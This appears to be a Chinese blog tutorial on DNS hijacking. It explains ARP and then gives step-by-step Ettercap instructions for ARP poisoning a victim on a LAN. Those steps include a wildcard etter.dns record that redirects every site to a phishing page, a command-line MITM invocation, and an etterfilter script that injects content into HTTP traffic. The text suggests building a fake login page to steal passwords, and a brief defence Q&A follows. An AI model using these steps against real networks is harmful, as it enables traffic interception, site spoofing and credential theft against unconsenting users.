DNS 劫持

                                                                                      《目录》

APR 协议

Ettercap 是个啥 ?

Ettercap 常用指令

欺骗,Ettercap !!!

钓鱼

松风吹解带,山月照弹琴

 

[免责声明]:

         DNS 劫持是违法行为,一般不会抓,如果被抓到了就不是做几天牢的事 --- 虽然说信息安全犯罪好像也没有几天的。

         


APR 协议

          ARP 全称是 Address Resolution Protocol,中文叫 地址解析协议, 用于实现从 IP 地址到 MAC 地址的映射,即询问目标 IP 对应的MAC地址。

名词解析:

          IP 地址,是一个网卡在网络世界的通讯地址,相当于我们现实世界的门牌号码。

          MAC 地址,是一个网卡的物理地址,用十六进制,6 个 byte 表示;更像是身份证,是一个唯一的标识。

          在终端使用 ifconfig 命令可以查看,一个网络包要从一个地方传到另一个地方,除了要有确定的地址,还需要有定位功能。

          而有门牌号码属性的 IP 地址,才是有远程定位功能的;网站的 URL 都是 IP ,而不是 MAC 地址,就好像找人肯定是问 TA 的现居住地啊,不能直接用身份证的地址找吧 .......

          ARP 协议还有一个 ARP 表,功能是 把已知的 ip 缓存在本地,在终端输入 arp 即可。

DNS 劫持_第1张图片

          通过 arp -a(苹果系统) 查看

苹果系统:蓝框里的 ip,后面的是 mac 地址
DNS 劫持_第2张图片 win系统 arp -g 查看,左边是 ip,右边是 Mac 地址

          内网(局域网)主机访问流程:

DNS 劫持_第3张图片 这俩台电脑是如何访问的呢 ?

               

DNS 劫持_第4张图片

          PC1(电脑1) 有 PC1 的 ip、MAC 地址,接着 PC1 去访问 PC2 ,会带着自己的 IP、MAC 地址 通过 PC2 的 ip 地址去访问 PC2。

          但因为不知道 PC2 的 MAC 地址,这次访问就会 Failed(失败)。 

 

DNS 劫持_第5张图片

          后来通过 ARP 表查询 PC2 的 ip,得到 PC2 的 MAC 地址。

          最后,PC2 把 TA 的 ip 和 MAC 地址都交给了 PC1,就这样俩台电脑成功的访问了。

 

DNS 劫持_第6张图片 APR 协议原理:缓存表

 

          既然 MAC 地址是关键,如果我们把缓存表里面的 MAC 地址改掉,就会发送到一台恶意的主机中。

          具体一点就是我们可以修改缓存表使其失效,让 PC1 去访问另一台恶意的主机 PC3。 

          我们能够通过修改 MAC 地址大概能达到中间人拦截、局域网流控、流量欺骗 等情况,名词不一一解释了,反正就是很NX。

          

         


Ettercap 是个啥 ?

          Ettercap 是一个 综合性 的 中间人 攻击工具,也在 Kali 下 ,TA 可以进行 ARP 欺骗、拦截器、DNS 欺骗 等常见的中间人攻击。

          操作方式:图形化、命令行。

          官网:http://www.ettercap-project.org/

          插件:https://linux.die.net/man/8/ettercap_plugins

          过滤器:https://linux.die.net/man/8/etterfilter

          这些都不需要下载......

 

 


Ettercap 常用指令

          打开终端,输入 ettercap:

DNS 劫持_第7张图片

          TA 说,请选择交互方式。

          ettercap 主要分为 图形化 界面和 命令行 操作,我建议使用 图形化 的。

          用户界面类型

  •       -T, –text                                使用只显示字符的界面
  •       -q, –quiet                              安静模式,不显示抓到的数据包内容
  •       -G, –gtk                                 使用GTK+ GUI,开启图形化模式

           输入 ettercap -G:

DNS 劫持_第8张图片

           打开嗅探:

DNS 劫持_第9张图片

           网络接口选择为 eth0,命令行下输入 ettercap -l:

DNS 劫持_第10张图片

DNS 劫持_第11张图片

           扫描一下网络:

DNS 劫持_第12张图片

            点击 Hosts list 可以看到扫描到的 IP:

DNS 劫持_第13张图片

           Targets 是目标选项,您可以点击看看再根据名字猜一下功能:

DNS 劫持_第14张图片

           Hosts 可以检查局域网内的主机:

DNS 劫持_第15张图片

            View 可以看监听的端口、网站;

DNS 劫持_第16张图片

            Mitm 是我们需要功能,嗅探、中间人攻击 等等。

DNS 劫持_第17张图片

            Fitlers 能加载过滤器,

            后面的 Logging 是日志功能,Plugins 是插件。

            命令行下的常用命令如下,共 4 步,4 步走下来我们的目标应该就满足了:

        [1]. 用户界面类型

  •         -T, –text                                使用只显示字符的界面
  •         -q, –quiet                              安静模式,不显示抓到的数据包内容
  •         -G, –gtk                                 使用GTK+ GUI,开启图形化模式

        [2]. 日志选项

  •         -w, –write                     将嗅探到的数据写入pcap文件
  •         -L, –log                   此处记录所有流量

        [3]. 通用选项

  •         -i, –iface                   使用该网络接口
  •         -I, –liface                               显示所有的网络接口
  •         -P, –plugin              开始该插件
  •         -F, –filter                    加载过滤器 (内容过滤器)

        [4]. 嗅探与攻击选项

  •         -M, mitm <方法:ARGS>           执行mitm攻击

 

 


欺骗,Ettercap !!!

            我们可以做一个 DNS 欺骗,让对方访问所有网站都访问到我们的钓鱼网站。

            原理是通过 DNS 协议去搞事情,完整的流程:

  •          开启apache服务        :service apache2 start
  •          编辑ettercap配置文件:leafpad /etc/ettercap/etter.dns
  •          Ettercap 欺骗             :Ettercap –G (图形化)
  •          命令行测试                 :ettercap -qT -i eth0 -M arp:remote -w 1.pcap /我们的网关ip//对方主机ip/

            我们先做一个自己的 钓鱼网站,打开 Kali 终端,进入一个文件:cd /var/www/html/

            输入 ls,查看:

            修改一下 index.html ,输入命令:leafpad index.html   (编辑html文件

DNS 劫持_第18张图片

            启动 apache 服务 :service apache2 start

            再输入:service apache2 status

DNS 劫持_第19张图片

            active 表示启动成功,本地访问 192.168.253.139:

DNS 劫持_第20张图片

            看起来,我们的确是跳转到了自己创建的网页了;如果想更明显些,可以在 index.html 里加上输出在网页上的语句。

            我们的目标是:让对方访问所有网站都访问到我们的钓鱼网站,也就是我们刚刚创建的网站。

 

            现在我们得找到对方主机的 ip, Windows 下输入 ipconfig,Linux 下输入 ifconfig 或 ip addr:

DNS 劫持_第21张图片

            对方的 ip 是 192.168.253.142,也可以使用 arp -g(Windows) 查看缓存表。

DNS 劫持_第22张图片

            第二步输入:leafpad /etc/ettercap/etter.dns   (编辑 ettercap 配置文件)。

DNS 劫持_第23张图片

 

            在最前面输入:* A 192.168.253.139(在终端输入 ifconfig 出来的),如下图。

DNS 劫持_第24张图片

            * 代表所有,A 代表  A 记录,192.168.253.139 是 我们的钓鱼网站,意思是 把我们的所有站点通过 A 记录都指向 192.168.253.139 这个钓鱼网站呀。           

DNS 劫持_第25张图片

            而后呢,保存即可。

DNS 劫持_第26张图片

            保存之后,启动一次 APR 欺骗:

DNS 劫持_第27张图片

            点击 Targets 查看:

DNS 劫持_第28张图片

            点击 Mitm ,打开 ARP poisoping... (ARP 欺骗):

DNS 劫持_第29张图片

            选择 双向欺骗,点击确定。

DNS 劫持_第30张图片

            打开 ARP 表,对比一下。

DNS 劫持_第31张图片

            蓝框的 MAC 没有修改过,而红框中 橙框的 MAC 地址被修改了;只要 ARP 欺骗生效了,ARP 缓存表就一定会改变的。

            之后,再为 ettercap 加上插件:

DNS 劫持_第32张图片

             选择 dns 插件:

DNS 劫持_第33张图片

             鼠标双机后,会出现提示,表示安装好了。

DNS 劫持_第34张图片

 

             接着,用浏览器去访问 http网页(https网页需要证书),譬如:http://www.neea.edu.cn/。

DNS 劫持_第35张图片

             刷新一下,访问的网页就会跳转到我们创建的钓鱼网站,当然我们的钓鱼网站只是默认的代码,没有任何杀伤力(可以插入)。

DNS 劫持_第36张图片 此网站的源代码,就是我们电脑上的 index.html 文件

 

             这个钓鱼网站想要什么内容,只需要在 index.html 文件里加就好。

             这些个网站就都被我们劫持哩,我们在 ettercap 里面是可以操控和监控的,具体的内容您可以找一本书看看......

             图形化操作,大概就是这样;除此之外,命令行也是可以的,也会好用:ettercap -qT -i eth0 -M arp:remote -w 1.pcap /我们的网关ip//对方主机ip/ ,最后数据都被保存在 1.pcap 文件里。

 

 

钓鱼

             第一步,准备 过滤器脚本,例如:

if (ip.proto == TCP && tcp.src == 80) {
    if (search(DATA.data, "")) {
        replace("", "");
        msg("inject head");
    }
}

             作用是在http网站中替换内容,弹个框。

  •              replace("", "");

             replace 是替换的意思, 是弹出一个框,内容是 2333。

DNS 劫持_第37张图片 弹窗没有任何杀伤力,如果加上 xss 脚本就不安全了。

 

             官方示例脚本:/usr/share/ettercap/etter.filter.examples,打造自己想要的脚本。

             第一步,过滤脚本,输入命令:leafpad 脚本名.filter,把脚本 copy 进去。

 

             第二步,把编译脚本,输入命令:etterfilter 脚本名.filter -o 脚本名.ef ,会生成一个 脚本名.ef 的文本。

              

             第三步,把 脚本名.ef 上传到 ettercap 。

             此时缓存表已修改,钓鱼网站也建好了,我们还可以把钓鱼网站打造为登陆界面,这就可以盗取账号密码了,前提是我们能骗到目标人物登陆当前这个 HTTP 网站 ......

 

 


新知 

             问:在内网中如何防御 ARP 攻击 ?

             答:本机绑定网关mac地址,使用cmd命令:arp -s 网关IP 网关mac地址;

                    使用安全防护软件,例如360安全卫士,在路由器上绑定mac地址。

 

             问:DNS劫持的原理 ??

             答:是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。

 

             问:如何劫持https站点,进行dns劫持 ???

             答:现在无法劫持https站点,因为无法加载证书,以及https传输为加密的。

 

             问:在使用ettercap的时候过滤器的作用是什么?

             答:通过过滤器,我们能够直接去嗅探网页中的内容

 

复习,Ettercap 常用指令

          Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]

          用法:ettercap【选项】【目标1】【目标2】

          TARGET is in the format MAC/IPs/PORTs (see the man for further detail)

          目标是MAC/IPs/PORTs格式(根据中间人获取更多信息)

 

嗅探与攻击选项:

  •             -M, –mitm <方法:ARGS>      执行mitm攻击
  •             -o, –only-mitm                       不嗅探,只执行mitm攻击
  •             -B, –bridge              使用桥接嗅探(需要2个iface——嗅探时使用的网卡接口,嗅探两块网卡之间的数据包)
  •             -p, –nopromisc                      不要将iface放入混杂模式
  •             -S, –nosslmitm                      不要伪造SSL证书
  •             -u, –unoffensive                    不要转发数据包
  •             -r, –read                        从pcap文件读取数据
  •             -f, –pcapfilter            设置pcap过滤器
  •            -R, –reversed                         使用逆向目标反馈
  •             -t, –proto                   只嗅探该proto(默认是全部)

用户界面类型:

  •             -T, –text                                使用只显示字符的界面
  •             -q, –quiet                              安静模式,不显示抓到的数据包内容
  •             -s, –script                 向用户界面发出这些命令
  •             -C, –curses                           使用curses图形化界面
  •             -G, –gtk                                 使用GTK+ GUI
  •             -D, –daemon                         守护模式(无界面),相当于在后台运行

日志选项:

  •             -w, –write                      将嗅探到的数据写入pcap文件
  •             -L, –log                    此处记录所有流量
  •             -l, –log-info              此处记录所有信息
  •             -m, –log-msg           此处记录所有消息记录
  •             -c, –compress                       使用gzip压缩日志文件

 

可视化选项:

  •             -d, –dns                               将ip地址解析为主机名
  •             -V, –visual             设置可视化格式
  •             -e, –regex               只实现匹配该regex数据包的可视化
  •             -E, –ext-headers                  打印每个pck的扩展头
  •             -Q, –superquiet                    不显示用户名与密码

 

通用选项:

  •             -i, –iface                  使用该网络接口
  •             -I, –liface                             显示所有的网络接口
  •             -n, –netmask     在iface上强制实行(force)该
  •             -P, –plugin             开始该插件
  •             -F, –filter                     加载过滤器 (内容过滤器)
  •             -z, –silent                            不执行初始ARP扫描
  •             -j, –load-hosts            加载主机列表
  •             -k, –save-hosts          将主机列表保存至
  •             -W, –wep-key         使用该wep密钥解密wifi数据包
  •             -a, –config             使用其它配置文件

标准选项:

  •             -U,  –update                       从ettercap网站更新数据库
  •             -v,  –version                         打印此版本并退出
  •             -h,  –help                            帮助选项

 

 


松风吹解带,山月照弹琴

              嗯,写一篇不熟悉的博客时间就特别的久,写到厌倦、厌倦在红尘。            

    

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(Kali)